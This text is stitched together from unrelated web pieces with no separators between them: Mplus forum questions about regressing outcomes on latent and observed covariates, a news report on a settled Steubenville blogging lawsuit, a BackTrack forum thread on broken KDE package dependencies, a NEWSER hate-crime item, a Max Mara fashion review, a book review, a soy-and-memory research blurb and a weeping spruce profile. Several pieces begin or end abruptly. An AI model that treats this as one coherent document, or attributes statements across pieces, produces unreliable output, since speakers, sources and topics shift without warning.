L1 on z1-z2 x1-x5 (the "on z1-z2" b/c my understanding is that this is the syntax for correlating a LF with an observed predictor)
L2 on z1-z2 x1-x5;
L3 on z1-z2 x1-x5;
LM1 on x1-x5 z1-z2 L1-L3;
Y on x1-x5 z1-z2 L1-L3 LM1;
y IND L1;
y IND L2;
y IND L3;
y IND z1;
y IND z2;
Does this accurately reflect a model in which 3 LF's and 2 z's predict LM1; the LF's, z's and LM predict y; and the model is estimated conditional on x1-x5?

Hi. This is a follow-up to the question asked by S. Ryan; Sept 20, 2011.
Rather than regressing all of the latent covariates on the observed covariates, what if one just wants to treat it like basic regression, so that the respective regression estimates for both the observed and latent covariates reflect the effects, after controlling for all the covariates in the model (irrespective of being latent or observed).
From some prior posts (and the ats.ucla site), it seems like one does this by including both the latent and observed covariates as predictors in a model statement (e.g., Y on F1 F2 ObservedX1). One doesn�t have to model the covariances between the observed and latent covariates by, say, adding the variances of the observed covariates to the model statement. Is this correct?
If so, I�m wondering why I might get very different estimates for the effects of the observed covariates, when I do choose to estimate the covariances between the predictors, compared to when I don�t. In the latter case, the regression parameters for the observed covariates look as though they�re controlling for the effects of the latent covariates. Without including the covariances between the observed and latent covariates, it seems as though the effects of the observed variables fail to adjust for the effects of the latent covariates. Any thoughts would be very appreciated. Thanks!

Dear Dr. Muthen,
i have one short question about the standardized output in a MIMIC analysis.
When running the User Guide example �ex5_17.inp� with the standardized output option, only STdYX estimates were printed in the output file.
Is there any possibility to not only get StdYX estimates, but also S.E., Est./S.E. and Two-Tailed P-Values? For instance, in order to report the standardized path coefficients and p-values for covariates.
Linda K. Muthen

With covariates in the model and weighted least squares estimation, we don't give all of the standardized estimates nor do we give standard errors.

I understand the MIMIC model is when a CFA and an indicator of the CFA are regressed onto a covariate simultaneously. However, what sort of model might have an outcome regressed onto a CFA and indicator simultaneously?
I've heard that there are examples of this sort of model, but I have not been able to find one. Can someone point me in the right direction?
Bengt O. Muthen
posted on Friday, October 05, 2012 - 9:45 am
If a certain indicator has a stronger influence on an outcome than the rest of the indicators, there may be a need to have not only the factor predicting the outcome but also that indicator predicting the outcome.
No articles of this kind come to mind, but I would think they exist.

COLUMBUS -- A high school student and his family have dropped their lawsuit against a blogger and anonymous posters to her blog site in a case that arose from online comments about a rape investigation involving two high school football players.
At issue were suggestions in those comments that the student might have been involved in the incident but never charged.
As part of the settlement announced Thursday, the operator of the crime blog acknowledged that there was no evidence of his involvement in the rape, while the student, Cody Saltsman, apologized in a statement for tweets he sent the night of the alleged attack.
"At no time did my family mean to stop anyone from expressing themselves online," Saltsman said in a statement posted on the blog site prinnified.com. The family "only wanted to correct what we believed were misstatements."
Saltsman also acknowledged the work of the site's bloggers "to make sure the full truth about that terrible night eventually comes out."
The settlement is a victory for free speech, said Scott Greenwood, who represented for free the anonymous bloggers on behalf of the American Civil Liberties Union of Ohio. Anonymous speech has long been protected in this country, he said, and it's important to preserve that right, especially when people are feeling intimidated about an issue they're commenting on.
"People shouldn't be sued for expressing outrage about, to be blunt, what's alleged to be a gang rape," Greenwood said.
The two players in Steubenville in eastern Ohio were charged in August with rape after a girl's parents reported a sexual assault to police.
Blogger Alexandria Goddard of prinnified.com said in a statement that no postings were retracted, no commentary will be restricted in the future and no money changed hands.
"We recognize that some things written here may have created the impression that Cody was involved in the alleged rape, and we wish to clarify that we have no evidence of any such involvement," Goddard, a former Steubenville area resident, said in a statement.
"This site was happy to provide a forum for locals in Steubenville to engage in important speech protected by the First Amendment, and will continue to do so," she added.
Goddard's attorneys said everyone benefits from the settlement.
"It's a win for free and anonymous speech -- the right to comment and criticize without fear of retribution is fundamental to the workings of our liberal democracy," they said in a statement.
Saltsman's lawyers said the family was pleased by the settlement but declined further comment beyond Saltsman's remarks on the blog site.

Im getting same error, but in installing kvpnc ;S
Hi everyone,
I was trying to compile Kontroller Lab and got the following error when running the ./configure script
I figured it was because i didn't have the dev tools so i tried to install kdelibs-dev from the repositories and got the following broken package error.Code:checking for KDE... configure: error: in the prefix, you've chosen, are no KDE headers installed. This will fail. So, check this please and use another prefix!
I also tried installing kdelibs4-dev and got a similar error. I'm not sure if installing kdelibs5-dev is a good idea because afaik it's for KDE4. If I try to do that, it tries to install lots of dependencies and I have a feeling I'll break things.Code:apt-get install kdelibs-dev Reading package lists... Done Building dependency tree Reading state information... Done Note, selecting kdelibs4-dev instead of kdelibs-dev Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. Since you only requested a single operation it is extremely likely that the package is simply not installable and a bug report against that package should be filed. The following information may help to resolve the situation: The following packages have unmet dependencies: kdelibs4-dev: Depends: kdelibs4c2a (= 4:3.5.10-0ubuntu6.2) but 4:3.5.100~0ubuntu1 is to be installed Depends: libarts1-dev (>= 1.5.0) but it is not going to be installed E: Broken packages
Note: I've found a .deb for Kontroller Lab but still think it would be very helpful to be able to compile KDE apps.
Im getting same error, but in installing kvpnc ;S
Well I don't know why you are trying to install kde4 packages when BT4 uses kde3.
To be successful here you should read all of the following.
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.
I solved by problem by this way:
1st removed some packages that was causing dependencis
apt-get remove "pack"
them I used:instead ofCode:aptitude install ...hope it will work for you 2Code:apt-get instal ...
handy little script to cleanup ,update and remove broken and or packages not needed
I treid the ubucleaner but before that the pakages weren't broken but I tried it anyways. I did try the aptitude install instead of apt-get install and that worked for me to.
I didn't even have to "apt-get remove pakage", and to my surpize it started to work. So thank you Malko, for the grate advice.Code:root@bt~# aptitude install kdelibs4-dev
UPDATE: This can mess up your installation. I don't cry to get help but it was funny to see my Box get screwed up. I wouldn't recomend this unless you just like fooling around like I do. It still does work but it messed up my Konsole and other things. I had to reinstall BackTrack, wich was plainless for me but I do not recomend. The reason I needed this dependency was because of eye candy, and it was something to do. I wanted to install a theme manager, and it needed this dependency. But with that said risk this if you don't mind messing up your BackTrack box.

High School Hate Crime Suspect Is Victim's Mom
(NEWSER) – A bizarre twist in the hate crime that caused a Massachusetts high school to end its football season early: Police now suspect the person who spray-painted racist graffiti on the home of 13-year-old Isaac Phillips was the boy's own mother, the Boston Globe reports. Andrea Brazier, who is white, was described as a "strong suspect" in the case after cops confiscated cans of spray paint during a search of the home she shares with husband Anthony Phillips, who is black. Investigators say most of the leads they have followed in the case have led back to the house—and Phillips has given conflicting explanations of where the aerosol cans police spotted in a fire pit came from.

Max Mara Spring 2012
When in Rome (or, rather, Milan) one hopes to vicariously luxuriate in the various ways Italians go about being particularly Italian. In fashion, there are the distinct traditional strands of style. There is over-the-top baroque (Versace, Dolce & Gabbana, Pucci), intellectual with an arty bent (Prada and Marni), and the restrained modernists (Armani and MaxMara). There's room for them all, so long as the designers keep faith with what they do best, and celebrate those unique identities for all they're worth.
In the case of MaxMara (firmly in the most classic camp), that clearly meant designer Ian Griffiths and his team were always going to offer respite from the kaleidoscopic, psychedelic prints which are swirling through fashion for spring. The sport trend that seemed more natural to them, although more in the sense of what a well-groomed Milanese woman might wear for a spot of competitive Saturday afternoon shopping on the Via della Spiga than anything literally suited for track and field.
That idea was translated into a show which focused on MaxMara's minimally detailed outerwear—narrow three-quarter length coats, blousons, and motocross jackets—and, in many cases, the sport reference was reduced to a mere ribbed cuff, which probably is about as much Olympic influence as a MaxMara customer will want in a jacket, anyway. Still, it's clear that even this constituency of modern-classic womanhood may not want to live by beige alone, so strong color made its way into the collection in a declarative shade of turquoise, horizontally banded within many silhouettes, including body-con knit dresses, cycle shorts, and all-in-ones. It's hard to imagine, however, many of those last few items being sold in stores come summer. The outerwear will be readily available, of course, but it would be nice to see some other shades available when that time comes.

Bronsky, Alina. The Hottest Dishes of the Tartar Cuisine.
If you're a fan of international novels that feature wholly original main characters, then you will love The Hottest Dishes of the Tartar Cuisine. Rosa Achmetowna , the narrator of this story, is unlike any character I have ever encountered before. She is outrageous and nasty and one of the worst mothers of all time but, even so, I couldn't help liking her. Set in the Soviet Union and then in Germany, this novel focuses on the relationships between Rosa, her daughter, and her granddaughter. The depiction of the Soviet Union is as fascinating as the depiction of the narrator. I highly recommend this dark comedy—the characters, especially Rosa, are so memorable and real, you will feel as though you know them.

Eating high levels of some soy products - including tofu - may raise the risk of memory loss, research suggests.
She said oestrogens - and probably phytoestrogens - tended to promote growth among cells, not necessarily a good thing in the ageing brain.
Alternatively, high doses of oestrogens might promote the damage caused to cells by particles known as free radicals.
A third theory is that damage is caused not by the tofu, but by formaldehyde, which is sometimes used in Indonesia as a preservative.

WHAT: Picea omorika Pendula is a rare beauty known as weeping Serbian spruce. It's unusual coloration makes it a standout in the garden.
Branches have a weeping habit that highlight its green and silver-blue foliage.
By summer, the color takes on dark teal tones. Happily, deer find this tree unappealing.
In 2007, it was named the Collectors Conifer of the Year by the American Conifer Society.
SUN OR SHADE: This tree needs sun and well-drained soil.
SIZE: Ultimately the height will reach 25 feet, but that will take many years. It will reach 8 feet within a decade and measure about 2 feet wide. It puts on a mere 6 to 10 inches per year.
SEE IT: At the Evergreen Arboretum &Gardens, 145 Alverson Blvd., Everett; in the Conifer Garden.
For more information, see the virtual photo tour on www.evergreenarboretum.com or call 425-257-8597.
